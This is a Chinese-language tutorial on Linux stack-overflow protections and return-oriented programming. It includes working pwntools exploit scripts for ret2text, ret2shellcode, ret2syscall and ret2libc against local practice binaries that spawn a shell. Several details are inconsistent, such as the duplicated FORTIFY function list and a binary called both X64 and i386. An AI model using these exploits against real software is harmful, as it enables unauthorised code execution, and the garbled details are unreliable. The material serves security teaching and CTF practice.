1. 栈溢出保护机制
当今的栈溢出保护已经已形成一套从硬件、编译器到操作系统的三位一体防御体系,其核心目标是防止攻击者通过溢出漏洞覆盖“返回地址”或破坏关键执行流。
1.1 栈金丝雀(Stack Canary / Cookie)
函数起始处,编译器在局部变量和返回地址之间插入一个随机生成的特殊数值(Canary),函数返回前会检查这个值是否被修改,如果数值不一致则立即强制退出,从而有效阻止了返回地址被篡改。攻击者在覆盖返回地址的时候会将Canary覆盖掉,导致栈保护检查失败。
Stack Canary(栈金丝雀)是Linux系统中GCC编译器 提供的一项核心安全功能,由编译器(如 GCC, Clang)在编译代码时插入,由 C 运行库(glibc)在程序运行时配合执行。现代Linux系统发行版中,系统自带的所有核心二进制文件默认都开启了这一保护。
Linux系统下使用gcc可以在编译时选择是否开启栈保护:
gcc -o stack_demo stack_demo.c # 默认情况下,不开启Canary保护
gcc -fno-stack-protector -o stack_demo stack_demo.c # 禁用栈保护
gcc -fstack-protector -o stack_demo stack_demo.c # 启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o stack_demo stack_demo.c # 启用堆栈保护,为所有函数插入保护代码
Windows系统下通过Microsoft Visual C++ (MSVC)编译器使用此技术,通过-GS编译选项开启。
1.2 NX / DEP(数据执行保护)
NX / DEP全称为No-Execute (NX)或Data Execution Prevention (DEP),基本原理是利用 CPU 的硬件特性(如 x86-64 的第63位NX位),将内存页标记为“可写不可执行”。
当程序溢出成功执行恶意代码时,程序会尝试在数据页面上执行指令,CPU 也会在尝试执行该地址时直接报错,此时CPU就会抛出异常,而不是去执行恶意指令。
GCC编译器默认开启了NX选项,可使用-z execstack参数关闭;Windows系统下称为DEP,即数据执行保护,同样也是默认开启的,可以在VS的项目属性中手动关闭:
gcc -o stack_demo stack_demo.c #默认情况下,开启NX保护
gcc -z execstack -o stack_demo stack_demo.c #禁用NX保护
gcc -z noexecstack -o stack_demo stack_demo.c #开启NX保护
1.3 ASLR(地址空间布局随机化)
ASLR全称为Address Space Layout Randomization,即地址空间布局随机化,操作系统在每次加载程序时,随机化栈(Stack)、堆(Heap)、共享库以及可执行文件的起始地址,从而有效阻止或降低内存损坏类攻击的成功率,提高系统安全性。
通常情况下ASLR是和NX同时开启并协同工作,内存地址随机化分为四种情况:
0 - 表示关闭进程地址空间随机化;
1 - 表示将mmap的基址,stack和vdso页面随机化;
2 - 表示在1的基础上增加栈(heap)的随机化;
2+PIE - 全部随机化;
1.4 影子栈(Shadow Stack)
影子栈是当今主流的硬件级防御,系统在受保护的隐藏内存区域维护一个返回地址的副本(影子栈),当函数返回时,硬件会比对主栈和影子栈中的返回地址。如果两者不一致,系统会立即拦截。
1.5 控制流完整性(CFI)
CFI通过在编译阶段生成程序的控制流图(CFG),记录所有合法的跳转目标。程序执行每一个间接跳转(如函数返回、虚函数调用、指针跳转)之前,系统会实时比对目标地址是否在合法的CFG范围内;如果发现跳转目标不在预定义路径中,程序会立即终止,防止攻击者执行恶意代码。
1.6 FORTIFY检查
Linux系统下FORTIFY检查通过“轻量化”地替换危险函数,在几乎不损失性能的前提下大幅提升安全性。FORTIFY检查本质上是编译器与标准C库(glibc)的深度协作:
- 函数替换:编译器会将易受攻击的函数替换为带长度验证的安全版本;
- 边界计算:在编译阶段,编译器尝试通过__builtin_object_size计算目标缓冲区的大小。如果能确定大小,它就会在运行时插入逻辑验证写入长度是否超出边界;
- 程序保护:一旦在运行时检测到溢出,程序会立即调用abort()强制终止;
被FORTIFY保护的函数如下:
- 内存拷贝:memcpy, mempcpy, memmove, memset;
- 字符串操作:memcpy, mempcpy, memmove, memset;
- 格式化输出:sprintf, snprintf, vsprintf, vsnprintf, printf;
- 标准输入:gets, fgets, read, pread;
2. ROP基本原理
2.1 ROP概述
无保护的栈溢出是指攻击者通过栈溢出直接向栈中注入一段恶意指令(shellcode)并执行。随着DEP/NX技术的普及,栈被标记为“不可执行”,即使注入了代码也无法运行,攻击者也提出了相应的技术来绕过保护。
因此ROP由此诞生,ROP的全称为Return Oriented Programming,即面向返回导向编程,其主要原理是在栈缓冲区溢出的基础上,利用程序中已经存在的、具有执行权限的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。
简单来说,ROP不产生代码,它只是现有代码的搬运工和组装工,专用于绕过现有的栈溢出防护。
2.2 ROP的工作流程
ROP的工作流程分为四个部分:
- 1、收集gadgets:攻击者在程序的代码段或系统库(如libc或ntdll.dll)中寻找以ret(返回指令)结尾的短指令序列;
- 2、构造ROP链:通过栈溢出,攻击者精确地将栈上的返回地址覆盖为一系列gadgets的首地址;
- 3、链式执行:当函数返回时执行它跳转到第一个gadget,第一个gadget执行完之后ret,从栈上弹出下一个地址(第二个gadget的地址),按照攻击者设置好的地址序列依次执行后面的gadget;
- 4、执行指令:调用系统函数或直接执行命令将内存改为可执行状态;
2.3 ROP的类型
ROP的类型分为几种:
- 1、基本ROP:这是最基础的类型,主要是针对DEP/NX的保护,利用栈溢出覆盖返回地址,将其指向一系列以ret指令结尾的合法指令片段(gadgets),主要依赖于栈来控制指令流,通过ret指令弹出栈顶地址作为下一个执行点;
- 2、JOP:全称为Jump Oriented Programming,即面向跳转的编程,不再使用ret指令,而是利用以间接跳转(jmp或call)结尾的指令片段;
- 3、COP:全称为Call Oriented Programming,即面向调用的编程,专门利用call指令攻击C++中的虚函数表 (vtable) 或函数指针,在浏览器中广泛应用;
- 4、BROP:全称为Blind ROP,即盲向返回导向编程,攻击者在没有目标程序二进制文件时的攻击方式,比如远程的web服务器;通过不断地尝试溢出观察服务器的状态,检测出内存中的gadgets地址,前提是需要服务器崩溃时自动重启且地址空间布局不变;
- 5、SROP:全称为Sigreturn Oriented Programming,针对Linux系统的高效ROP变体。Linux系统处理信号时会将所有的寄存器状态压栈,攻击者伪造一个sigcontext结构体在栈上,然后调用sigreturn系统调用一次性控制所有的寄存器完成攻击,不需要寻找多个gadgets;
- 6、DOP:全称为Data Oriented Programming,即数据导向编程,它不修改程序的控制流,仅仅修改内存中的关键数据变量,改变程序的逻辑而非执行流程,因此可以绕过CFI(控制流完整性);
3. gadgets
gadgets是指程序内存中已有的一段以返回指令(如ret)结尾的短指令序列。一个标准的gadget通常由 1 到3条指令组成,并以一个控制流跳转指令结束。gadgets本身就是程序合法代码的一部分,具有可执行的权限,通过多次劫持程序控制流,运行特定的指令序列完成攻击。
4. 基本ROP
4.1 环境搭建
本节是以Linux系统环境(kali系统)为主,需要用到的工具集合:
- checksec:Linux系统下开源二进制安全检测工具,主要用于评估二进制文件(如 ELF 文件)、运行中的进程以及操作系统内核的安全加固特性;
- IDA pro for Linux:Linux版本的交互式反汇编工具、静态分析工具;
checksec工具通过apt就可以安装并运行:
sudo apt update
sudo apt install checksec
checksec --file=stack_demo
IDA Pro是付费软件,需要到Hex-rays的官网找到对应的架构和Linux版本自行购买。
栈溢出利用的基本流程:
- 使用checksec工具检查程序的架构平台以及保护情况;
- 查找程序使用的漏洞函数,比如gets、scanf等函数;
- 计算目标变量的在栈与栈底(32:ebp,64:rbp)的之间偏移;
- 查看程序导入表,观察表中是否已导入可利用的函数,比如system,execve等函数;
- 分析是否有字符串/bin/sh,将它作为system的参数执行;
4.1 ret2text
当程序发生栈溢出时,攻击者可以通过覆盖函数的返回地址,将其指向程序代码段(.text节)中已有的功能函数,.text段是存放程序机器指令的区域,在内存中具有可执行权限,因此可以绕过DEP/NX保护,攻击目标是程序中已被编译但已经编译的函数。
以Linux-X64平台的二进制程序为例,先使用checksec工具查一下程序的保护机制:
checksec --file=ret2text
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 01ret2text
可以看到程序是amd64类型,且开启了保护机制:
- NX保护:堆、栈、BSS段不可执行;
- RELRO保护:整个GOT表只读,无法被覆盖;
接下来打开IDA对程序进行反编译:
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
setvbuf(stdin, 0LL, 2, 0LL);
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 2, 0LL);
vuln(v3);
return 0;
}
//vuln函数
__int64 vuln()
{
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
printf("Input:");
return _isoc99_scanf("%s", v1);
}
反编译代码中,由于scanf函数未控制缓冲区大小,输入超过16个字符缓冲区将溢出,v1变量与rbp的偏移量是0x10,即16字节,接下来查看反汇编代码,定位到vuln函数:
.text:0000000000400697 public vuln
.text:0000000000400697 vuln proc near ; CODE XREF: main+50↓p
.text:0000000000400697
.text:0000000000400697 var_10 = byte ptr -10h
.text:0000000000400697
.text:0000000000400697 push rbp
.text:0000000000400698 mov rbp, rsp
.text:000000000040069B sub rsp, 10h
.text:000000000040069F mov edi, offset format ; "Input:"
.text:00000000004006A4 mov eax, 0
.text:00000000004006A9 call printf
.text:00000000004006AE lea rax, [rbp+var_10]
.text:00000000004006B2 mov rsi, rax
.text:00000000004006B5 mov edi, offset aS ; "%s"
.text:00000000004006BA mov eax, 0
.text:00000000004006BF call __isoc99_scanf
.text:00000000004006C4 nop
.text:00000000004006C5 leave
.text:00000000004006C6 retn
.text:00000000004006C6 vuln endp
ida中的函数窗口栏发现有一个getshell函数,可以获取系统shell:
.text:0000000000400686 public getshell
.text:0000000000400686 getshell proc near
.text:0000000000400686 push rbp
.text:0000000000400687 mov rbp, rsp
.text:000000000040068A mov edi, offset command ; "/bin/sh"
.text:000000000040068F call system
.text:0000000000400694 nop
.text:0000000000400695 pop rbp
.text:0000000000400696 retn
.text:0000000000400696 getshell endp
getshell函数发现了存在调用system(“/bin/sh”)函数的代码,那么溢出位置就是0x400686。所以payload方式应该是:
#!/usr/bin/python3
from pwn import *
io = process('./ret2text')
payload = flat(['A'* 0x10,p64(0xdeadbeef),p64(0x40068A)])
io.sendlineafter("Input:",payload)
io.interactive()
4.2 ret2shellcode
攻击者将一段恶意代码(即shellcode)直接写入程序的内存,然后通过溢出漏洞将程序跳转到shellcode上执行。shellcode通常需要工具生成或者自己编写,即我们需要自行向内存中填充一些可执行的代码。
以Linux-X64平台的二进制程序为例,先使用checksec工具查一下程序的保护机制:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 79 Symbols No 03ret2shellcode
可以看到是i386-32的程序,且没有任何保护:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2,s,0x64u);
printf("bye bye ~");
return 0;
}
反编译代码中的gets函数存在溢出点,将输入的字符串复制到了buf2变量中,点进去发现buf2变量在.bss段中,即是一个未初始化的全局变量:
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
payload脚本:
from pwn import *
# 启动进程
io = process('./ret2shellcode')
# 使用pwntools自带的命令生成shellcode
# 填充长度为产生溢出的偏移112
shellcode = asm(shellcraft.sh()).ljust(112,b'\x00')
# 全局变量buf2的地址
payload = shellcode + p32(0x804A080)
# 发送shellcode
io.sendline(payload)
# 获取交互式shell
io.interactive()
4.3 ret2syscall
通过劫持程序执行流,直接调用操作系统的系统调用来获取shell,可直接绕过DEP/NX。
以 Linux-X86平台的二进制程序为例,先使用 checksec 工具查一下程序的保护机制:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 2255 Symbols No 00ret2syscall
程序为32位,且开启了NX保护机制,打开IDA进行反编译:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
通过计算v4相对于ebp之间的偏移是108,所以覆盖的返回地址偏移应该为112。利用栈溢出的方式就是将参数放到对应的寄存器中,执行int 0x80指令就可以系统调用,想要控制寄存器的值就需要使用到gadgets技术,构造ROP链,推荐使用ropgadgets工具来实现。
payload脚本:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
4.4 ret2libc
当程序发生栈溢出时,攻击者不跳转到栈空间,而是将返回地址覆盖为libc库中某个函数的地址,最常见的是system()函数。
以 Linux-X86平台的二进制程序为例,先使用 checksec 工具查一下程序的保护机制:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84 Symbols No 01ret2libc
看出是32位程序,且开启了NX保护,打开IDA进行反编译查看漏洞函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}
可以发现执行在执行gets()函数的时候出现了栈溢出,利用ropgadget工具查看是否有/bin/sh,如果存在再查看是否有system()函数,所以payload脚本为:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
4.5 ret2csu
在64位Linux漏洞利用(Pwn)中,ret2csu是一种高级的ROP(面向返回导向编程)技术。它利用了C程序在编译时自动引入的通用初始化函数__libc_csu_init中的代码片段,来解决 64 位程序函数调用参数传递(控制寄存器) 的难题。
64位程序中,函数的前 6 个参数通过寄存器传递:RDI、RSI、RDX、RCX、R8、R9。几乎所有由 GCC 编译的可执行文件都包含__libc_csu_init,其中有一段特定的代码可以让我们同时控制RBX、RBP、R12、R13、R14、R15等寄存器,并间接将值传递给RDI、RSI、RDX。·
4.6 ret2reg
当传统的ret2addr因为ASLR(地址空间布局随机化) 导致栈地址不可预测时,ret2reg可以绕过限制。
如果攻击者能够控制程序的执行流(比如通过栈溢出覆盖了返回地址),并且在溢出发生的时刻,某个寄存器(如 RAX、RSP、RDX等)恰好指向攻击者可控的内存区域(例如存放shellcode的位置),那么攻击者就可以寻找一个jmp reg或call reg指令来完成跳转。
4.7 源码下载
5. 参考链接
- Linux栈溢出总结:https://www.ascotbe.com/2020/11/19/StackOverflow_Linux_0x01/
- CTF Wiki-基本ROP:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/
- 二进制兔子之PWN-栈溢出:https://www.freebuf.com/author/Binary_Rabbit
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。